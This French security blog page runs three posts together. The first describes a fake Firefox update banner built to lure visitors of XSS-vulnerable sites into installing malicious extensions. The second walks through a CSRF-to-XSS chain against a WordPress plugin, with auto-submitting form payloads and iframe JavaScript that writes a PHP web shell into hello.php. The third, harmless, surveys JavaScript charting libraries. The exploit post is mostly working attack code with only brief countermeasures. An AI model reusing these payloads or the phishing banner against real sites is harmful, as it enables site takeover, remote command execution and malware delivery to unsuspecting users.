WEBlog de Félix Aimé

Dans la série : « Les codes à la con que que je n’ai jamais publié » voici un petit bout de code pouvant pousser un internaute à installer une extension malveillante ou un malware quelconque. Ce code, fait uniquement de JS et de CSS, permet d’imiter les bannières d’alerte de Firefox : pouvant donc être intégré dans n’importe quelle page vulnérable aux XSS. Une attaque de masse est ainsi possible si l’on couple ce petit code à des trucs funs tels que BeEF ou tout autre framework d’exploitation XSS.

Fonctionnement du chmilblick :

Le code est assez simple, il réalise juste la suppression de la totalité du corps de la page
visée et remplace ce dernier par notre fausse bannière et une iframe contenant cette même page.

Modifications à réaliser :

Le code n’est pas – du tout – évolué, car je le livre « tel quel ». Il manque plusieurs choses, tout d’abord, la détection de la version navigateur, du système d’exploitation et de la résolution. Les fonts (et le design) changent de Linux, Mac à Windows, mais aussi, suivant les versions de l’OS et du navigateur. – Celui présenté est optimisé pour Windows Vista/7 avec Firefox 3.6.*.

Plusieurs optimisations doivent également être mises en place telles que le chargement « lourd » de l’iframe (facile), la détection de jQ avec un simple if(jQuery) pour une attaque de type Return to jQ. Mais je pense que ce type de code peut être sympa en étant couplé à une attaque de type Tab-jacking. Enfin pour plus de réalisme, il peut être couplé à un petit code remplaçant les sources de divers objets Flash/Java/Silver(lol) etc. pour inciter l’internaute à installer une mise à jour de faux plugin (voir source).

Un exemple ?

Extensions malveillantes ?

Les « véritables » extensions Firefox malveillantes ne sont pas encore diffusées en masse sur le web. Seul des POCs – à ma connaissance – ont été réalisés (voir le très bon article d’XMCO). Cependant, elles peuvent faire mal, très mal. Contrairement à Chrome, elles peuvent accéder au système, « foutre la merde » dans le navigateur car elles ont accès à la zone chrome (bypass SOP etc.). De plus, comme les antivirus sont à la traîne (je ne referai pas le débat ici), il ne fait nul doute qu’une extension malicieuse sera bien planquée dans le système cible, que ce soit un Linux, Mac ou Windows (et oui, c’est cross-plateforme ces petites choses là et c’est tout l’intérêt d’en développer ! =)

En y pensant, j’avais énuméré diverses possibilités qu’offraient une extension Firefox malveillante parmi lesquelles (liste non exhaustive) :

Bypass SOP ; Network Sniffing ; Remote binaries installation & execution ; Remote network HTTP Proxy ; Cloud Cracking ; Remote Files Stealing ; Banking (w/ live HTTP Headers Spoofing or Source code edition on the fly) ; DOS option (DDos w/ C&C) ; RCE ; Remote Passwords Stealing ; Remote Cookies Stealing; Firewall Bypass (w/ HTTP/HTTPs)…

Je pense faire d’ailleurs quelques articles – si j’ai le temps – sur le développement d’une telle extension « basique » du genre un banker ou une extension contournant SOP et envoyant les divers informations à un serveur distant.

Conclusion

Comme je l’ai dit dans l’article, c’est juste un draft à améliorer et à coupler à d’autres tricks. De plus, pour ne pas vous faire avoir, pensez qu’une extension ne propose pas une mise à jour par ce type de bannière, mais par une info-bulle en bas à droite de l’écran. De plus, quelques détails tels que la sélection du texte du bandeau devrait vous mettre la puce à l’oreille.

Je voulais vous faire un petit article pour vous démontrer la puissance destructrice des vulnérabilités liées aux plugins sur certains CMS. Je me suis donc mis à l’assaut du grand Wordpress histoire de faire peur dans les chaumières. Au programme aujourd’hui, comment une extension vulnérable à une attaque par CSRF provocant une XSS peut permettre de backdoorer un script PHP automatiquement. Bienvenue, cher lecteur, dans le monde des « combos » de vulnérabilités à la sauce Wordpress.

OK, What’s the :(){:|:&};: ?

Premier ingrédient, une extension vulnérable. Pour cela, il ne faut pas aller chercher très loin, une simple recherche dans les extensions les plus populaires de Wordpress vous permettra de trouver votre bonheur en XSS, CSRF et autres trucs marrants. Perso, j’ai choisi WP Page Number, car elle est utilisée par beaucoup de blogs *han la-la je fais du full disc*. Cette dernière est vulnérable aux deux failles donc voici comment va se dérouler l’attaque :

1. Exécution d’une CSRF lambda par POST afin d’exécuter une XSS.
2. A partir de cette XSS, réalisation d’une iframe et exécution d’un script.
3. Modification des éléments DOM de la page « framée » afin de backdoorer un contenu.
4. Envoi de la soupe avec la fonction « submit ».

J’ai perdu personne ? Bon, passons de la théorie à la pratique.

Step 1. Mise en place de la première CSRF

Afin de réaliser la première CSRF en POST, il faut simplement réaliser un petit formulaire qui s’envoie automatiquement dès que la victime charge la page. Plusieurs techniques sont alors possibles dans les évènements DOM pour réaliser cela. Perso, j’ai mon petit faible pour onerror avec une image malle interprétée mais l’on peut utiliser des onload, onfocus (html5) ou onmouseover et un peu de CSS etc.

Donc on y va ! Un simple form en display:none fera l’affaire. Exemple :

<form action=’ ‘ method=’post’ id=’blop’ style=’display:none’></form>
<img src=’x’ onerror=’blop.submit()’>

Ensuite, on regarde le nombre de champs que possède notre plugin, soit à la main, long et chiant, soit en utilisant Tamperdata. On s’aperçoit peu après que hô magie, seuls deux champs sont obligatoires. Donc on refait notre super form avec les deux champs et on teste l’injection de code HTML.

<form action=’ [plugin URL]‘ method=’post’ id=’blop’ style=’display:none’>
<input name=’submitted’ value=’yes’>
<input name=’page_of_page_text’ value=’ »/><h1>lol</h1>’>
</form>
<img src=’x’ onerror=’blop.submit()’>

Et une belle image pour émoustiller le public…

Yes ! It works ! Great. Bon, on passe à des choses un peu plus ardues. Nous avons réalisé l’exploitation de notre première CSRF aboutissant à une exécution de code en client side sur le domaine visé. Pour ceux qui ont l’habitude d’auditer pour le fun des extensions Wordpress, une grande partie est vulnérable aux XSS (par exemple, All in one SEO), en ce qui concerne les CSRF, c’est un peu plus limité. Cependant, dès que ça l’est, cela peut faire très mal et c’est ce que nous allons voir.

Step 2. Contournement des protections anti-CSRF de WP.

J’ai commencé cette exploitation en « backbox » donc je reste en « blackbox ». Dès qu’on a une XSS sur un domaine, la plupart des protections anti-CSRF par token sautent du fait de la possible récupération en Javascript du token permettant de sécuriser la transaction (eh oui, SOP n’est plus d’aucune utilité). D’ailleurs, une attaque de type « Return-to-jQuery » peut permettre la récupération du token et l’envoi du formulaire visé en une ligne.

Cependant, face à ce type d’attaque, Wordpress à l’air de résister. Je ne suis pas allé dans le code chercher quelle était la fonction qui rendait la tâche plus ardue. Cependant, ma petite idée est simple : anti-CSRF = (token + contrôle du referer). Pour contourner ce petit problème, j’ai cherché quelques minutes et j’ai trouvé, il suffit d’interagir avec une iframe.

Le concept est simple : on « frame » la page contenant le formulaire protégé par token que l’on veut envoyer, on interagit avec les éléments du formulaire directement à partir de la page parente afin de changer les contenu des inputs et d’envoyer le tout. Cela permet ainsi de casser la deuxième protection anti-CSRF liée au referer.

Step 3. Développement de l’exploit.

Donc c’est parti ! On crée une nouvelle iframe que l’on injectera avec du code javascript lors de l’exécution de notre première CSRF sur l’extension vulnérable. Cette iframe devra être composée d’une simple source. A cette iframe, on ajoute un code Javascript qui réalisera plusieurs choses :

• Ajout d’un shell au textarea du formulaire « framé »
• Changement de l’attribut « name » de l’input « submit »
• Lancement de l’attaque en envoyant le bon formulaire dans le contexte de la page framée.

Le code « final » de l’exploitation de la deuxième « CSRF protégée » grâce à une iframe aura donc cette allure :

<script>

function exploit(){

var content = frames[0].document.getElementById(’newcontent’);
var inputs = frames[0].document.getElementsByTagName(’input’);
content.value=’<?php echo system($_GET["cmd"]); ?>’;
inputs[7].setAttribute( »name », »");
frames[0].document.forms[1].submit()’;

}
</script>

<body onload=’javascript:exploit()’></body>
<iframe src=’[URL]/plugin-editor.php?plugin=hello.php’ width=’0′ height=’0′>

Quelques explications peuvent être utiles face à ce petit bout de code. Tout d’abord, il remplace le contenu du textarea contenant le code source du plugin hello.php par un shell. Ensuite, il récupère l’élément submit avec lequel on veut interagir et enlève son nom. Pourquoi ? Je ne le sais pas, apparemment le moteur JS aime pas lorsque deux éléments ont le même nom sur une page, donc j’ai trouvé cette unique solution. Ensuite, nous voulons envoyer le formulaire donc il nous faut faire exécuter par le deuxième formulaire une simple fonction submit().

Voilà, à partir de là, vous avez juste à rendre le code peu portable le code pour lui permettre de bypasser des protections telles que les magic_quotes et de le lier avec ce qu’il a été fait à l’étape 1 (je ne vais pas tout vous donner sur un plateau). Pour information, si j’ai mis une deuxième balise body, c’est simplement pour exécuter automatiquement le script exploit (les évènements concurrents DOM du style « onerror » ne fonctionnant pas).

Évidemment, j’ai pris Wordpress, car cela était un cas assez intéressant, mais nous aurions pu prendre d’autres CMS, les plugins vulnérables développés par des « amateurs » ce n’est pas ce qui manque sur l’internet.

Step 4. Contre-mesures.

Afin de contrer ce type de menaces, plusieurs contre mesures peuvent être mises en place. Tout d’abord, limiter le nombre d’extensions au strict nécessaire. De plus, un WAF/IDS (mod_security, phpids etc.) sympa pourrait permettre de limiter ce type de désagréments même si, configuré par défaut, il limitera l’édition d’articles et de pages sur votre blog. Enfin, rien ne vaut un bon Noscript afin de limiter l’exécution de codes malveillants en client side.

Vous ne le saviez peut-être pas, mais un de mes passes temps en ce moment est d’étudier la visualisation de données notamment pour le web, car ce domaine est en pleine ébullition actuellement avec l’apparition de l’HTML5 et de sa balise canvas (non standardisé dans la version 4) mais aussi toutes ces libraires JavaScript permettant de faire de beaux graphiques comme on aime.

J’utilise assez rarement des outils de visualisation de données, car j’en ai pas besoin dans mon travail actuel (études ou projets perso) mais je surveille de très prêt et teste une grande partie des solutions mises en avant (sauf flash & flex qui ont d’ailleurs de très bonnes librairies de visualisation.). Voici donc un petit résumé de ce qu’il se fait en la matière actuellement :

The JavaScript InfoVis Toolkit - Librairie vraiment sympa surtout en ce qui concerne données hiérarchisées. Elle possède une très large documentation avec de nombreux exemples.

Dygraphs – Très bonne libraire pour représenter sous forme de graphiques lambda (axes abscisses et ordonnées) des données plus couramment de type temporelles. Sympa pour des activités serveur par exemple.

Processingjs – On ne présente plus la librairie Java processing, véritable leader de la visualisation en Java. Voici son « équivalent » en Javascript. Tout comme processing en Java, son utilisation s’avère complexe pour des développeurs non matheux du dimanche (moi ?) cependant, elle permet de faire bien des choses !

jquery.sparkline – Cette libraire jquery permet de faire des petits charts vraiment superbes et peut posséder de multiples utilisations telles que pour modéliser des hits de téléchargements, de visites ou des activités clients side ou server side.

Protovis – Là, nous atteignons le summum de la visualisation de données en JavaScript. Cette librairie permet de tout faire (ou presque – sauf 3D) et possède un très bon rendu des charts. Si je me rappelle bien, c’est la seule permettant de parser des données par coordonnées parallèles permettant ainsi une bonne visualisation de données complexes du type logs de connexions par exemple. (étant une visualisation notamment utilisé par FP).

En ce qui concerne la visualisation de liens entre objet, nous pouvons noter quelques librairies sympa comme :

Moowheel – Cette libraire permet simplement de modéliser des liens entre objets disposés autour d’un même cercle avec de belles couleurs (ou non). L’utilité de ce script peut prendre sa place pour modéliser des liens entre personnes sur des réseaux sociaux ou autres.

JsViz – Cette libraire est assez cool, cependant elle reste mal gérée par les navigateurs. Elle permet là aussi de faire des liens dans l’espace entre différents objets et possède plusieurs modes d’affichage. Elle est encore trop lourde pour être ergonomique sur les différents navigateurs Internet ce qui en fait son principal défaut aujourd’hui.

The JavaScript InfoVis Toolkit – Là aussi cette librairie permet de modéliser des liens entre différents objets, notamment avec son mode Hypertree.

Voilà ce que l’on peut dire de la visualisation de données en javascript aujourd’hui. Récemment, google a mis en ligne une API de visualisation permettant là aussi de faire des beaux charts, mais je préfère pas en parler, car faire sa propre cuisine est toujours plus enrichissant. De plus, plusieurs hacks CSS/HTML permettent sans javascript de faire des trucs sympa tels que des pie charts ou autres.

Si vous voulez poursuivre votre voyage et avoir une réelle overview de ce qui se fait tant au point JS que PHP/Flash, voici un petit lien qui devrait vous plaire Tools for visualizing your data. =)

[Entête]